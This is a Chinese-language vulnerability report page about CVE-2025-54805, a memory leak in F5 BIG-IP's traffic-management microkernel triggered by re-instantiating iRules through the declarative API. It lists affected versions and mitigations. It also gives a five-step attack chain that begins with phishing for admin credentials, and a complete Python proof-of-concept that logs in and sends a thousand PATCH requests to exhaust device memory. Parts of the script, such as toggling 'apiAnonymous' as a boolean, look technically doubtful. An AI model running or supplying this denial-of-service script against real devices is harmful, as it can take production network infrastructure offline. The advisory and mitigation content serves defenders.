IPBUF安全漏洞报告
English
CVE-2025-54805 CVSS 6.5 中危

CVE-2025-54805 F5产品iRule声明式API配置导致TMM内存资源耗尽

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-54805
漏洞类型
资源管理错误(内存泄漏/内存耗尽)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

CVE-2025-54805F5 BIG-IPTMM内存泄漏拒绝服务DoSiRule声明式API资源耗尽中危漏洞

漏洞概述

CVE-2025-54805是F5 BIG-IP系列产品中的一个中危漏洞,CVSS评分为6.5。该漏洞源于当通过声明式API(Declarative API)在虚拟服务器上配置iRule时,在重新实例化(re-instantiation)过程中,清理流程(cleanup process)存在缺陷,导致流量管理微内核(Traffic Management Microkernel,TMM)的内存资源利用率持续增长。

TMM是F5 BIG-IP设备的核心数据平面组件,负责处理所有的网络流量和负载均衡逻辑。iRule则是F5提供的一种基于TCL语言的脚本机制,允许管理员对流量进行深度定制化处理。声明式API是F5提供的现代化配置管理接口,支持通过JSON/YAML格式的配置文件来管理设备状态。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。其对机密性影响为低(C:L),对完整性无影响(I:N),但对可用性影响为高(A:H)。这意味着攻击者在获得低权限认证后,可以通过反复触发iRule的重新实例化过程来耗尽TMM内存,最终导致设备性能下降甚至完全不可用,造成拒绝服务(DoS)攻击。

值得注意的是,已达到技术支持终止(End of Technical Support, EoTS)的软件版本不在此次评估范围内。F5官方已发布安全公告K000151596,建议用户尽快升级到修复版本。

技术细节

该漏洞的根本原因在于F5 BIG-IP声明式API处理iRule配置重新实例化时的资源清理逻辑存在缺陷。

技术原理分析:
1. 当管理员通过声明式API(如POST请求到/mgmt/shared/declarative-onboarding或/mgmt/tm/ltm/rule端点)配置或修改虚拟服务器上的iRule时,系统会在内部创建相应的数据结构来表示该iRule与虚拟服务器的关联关系。
2. 当iRule配置发生变更需要重新实例化时,系统会执行清理流程来释放旧的iRule实例所占用的内存资源。
3. 然而,由于清理逻辑的不完善,部分内存资源在每次重新实例化过程中未能被正确释放,导致内存泄漏。
4. 随着反复触发重新实例化操作,TMM的内存使用量会持续累积增长,最终耗尽可用内存资源。

利用方式:
- 攻击者需要先获得F5 BIG-IP设备的低权限认证凭据(如具有iRule管理权限的账户)。
- 通过声明式API反复提交iRule配置变更请求,触发虚拟服务器上iRule的重新实例化。
- 每次重新实例化都会泄漏部分TMM内存,经过足够多次的请求后,TMM内存耗尽。
- TMM内存耗尽将导致设备无法处理正常的网络流量,造成拒绝服务。

该漏洞的影响范围集中在可用性层面,不会直接导致数据泄露或数据篡改,但其对服务连续性的威胁不可忽视。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过钓鱼、社会工程或其他方式获取F5 BIG-IP设备的低权限管理账户凭据。该账户需要具备通过声明式API管理iRule配置的权限。
STEP 2
步骤2:建立认证会话
攻击者使用获取的凭据通过/mgmt/shared/authn/login端点进行认证,获取有效的会话令牌(X-F5-Auth-Token),建立与BIG-IP设备的管理连接。
STEP 3
步骤3:识别目标iRule
攻击者通过/mgmt/tm/ltm/rule端点枚举设备上已配置的iRule,识别绑定到关键虚拟服务器的iRule作为攻击目标。
STEP 4
步骤4:反复触发重新实例化
攻击者通过声明式API反复提交iRule配置的PATCH请求,每次修改iRule的次要属性(如apiAnonymous),触发TMM中iRule实例的重新实例化过程。由于清理逻辑缺陷,每次重新实例化都会泄漏部分TMM内存。
STEP 5
步骤5:内存耗尽导致拒绝服务
经过足够多次的重新实例化操作后,TMM的内存资源被逐渐耗尽。TMM无法继续处理正常的网络流量,导致BIG-IP设备性能严重下降或完全不可用,实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54805 PoC - F5 BIG-IP TMM Memory Exhaustion via Declarative API iRule Re-instantiation # This PoC demonstrates how to trigger memory exhaustion in TMM by repeatedly # reconfiguring iRules on a virtual server via the declarative API. import requests import json import sys import time # Configuration TARGET_HOST = "https://<f5-bigip-host>" USERNAME = "<username>" PASSWORD = "<password>" PARTITION = "Common" VIRTUAL_SERVER = "/<partition>/<virtual_server_name>" IRULE_NAME = "/<partition>/<trigger_irule>" ITERATIONS = 1000 # Number of re-instantiation cycles to trigger memory leak # Disable SSL warnings requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def authenticate(session, host, username, password): """Authenticate to F5 BIG-IP and obtain session token.""" auth_url = f"{host}/mgmt/shared/authn/login" payload = { "username": username, "password": password, "loginProviderName": "tmos" } response = session.post(auth_url, json=payload, verify=False) response.raise_for_status() token = response.json()["token"]["token"] session.headers.update({"X-F5-Auth-Token": token}) print("[+] Authentication successful") return token def get_irule_config(session, host, irule_name): """Retrieve current iRule configuration.""" url = f"{host}/mgmt/tm/ltm/rule/{irule_name}" response = session.get(url, verify=False) response.raise_for_status() return response.json() def patch_irule_config(session, host, irule_name, irule_config): """Patch iRule configuration to trigger re-instantiation.""" url = f"{host}/mgmt/tm/ltm/rule/{irule_name}" # Modify a minor property to trigger re-instantiation irule_config["apiAnonymous"] = not irule_config.get("apiAnonymous", "") response = session.patch(url, json=irule_config, verify=False) response.raise_for_status() return response.json() def trigger_memory_leak(host, username, password, irule_name, iterations): """Main exploit function to trigger TMM memory exhaustion.""" session = requests.Session() session.headers.update({"Content-Type": "application/json"}) try: # Step 1: Authenticate authenticate(session, host, username, password) # Step 2: Get initial iRule config irule_config = get_irule_config(session, host, irule_name) print(f"[+] Retrieved iRule config: {irule_name}") # Step 3: Repeatedly modify iRule to trigger re-instantiation for i in range(iterations): irule_config = get_irule_config(session, host, irule_name) patch_irule_config(session, host, irule_name, irule_config) if (i + 1) % 100 == 0: print(f"[*] Completed {i + 1}/{iterations} re-instantiation cycles") time.sleep(0.1) print(f"[+] Exploit completed. TMM memory should be significantly consumed.") print("[!] Monitor TMM memory: tmsh show sys memory") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) finally: # Logout logout_url = f"{host}/mgmt/shared/authn/logout" session.post(logout_url, verify=False) if __name__ == "__main__": trigger_memory_leak(TARGET_HOST, USERNAME, PASSWORD, IRULE_NAME, ITERATIONS)

影响范围

F5 BIG-IP 17.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 16.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 15.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 14.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 13.x(已EoTS,不在评估范围)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制能够通过声明式API修改iRule配置的账户数量和权限范围;2)通过iControl REST API或tmsh命令行方式进行iRule管理,避免使用声明式API触发该漏洞;3)实施API调用频率限制,防止短时间内大量iRule重新实例化操作;4)加强管理平面的访问控制,限制仅允许可信IP地址访问管理接口;5)密切监控TMM内存使用情况,一旦发现异常增长立即排查并重启相关TMM实例以释放泄漏的内存。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表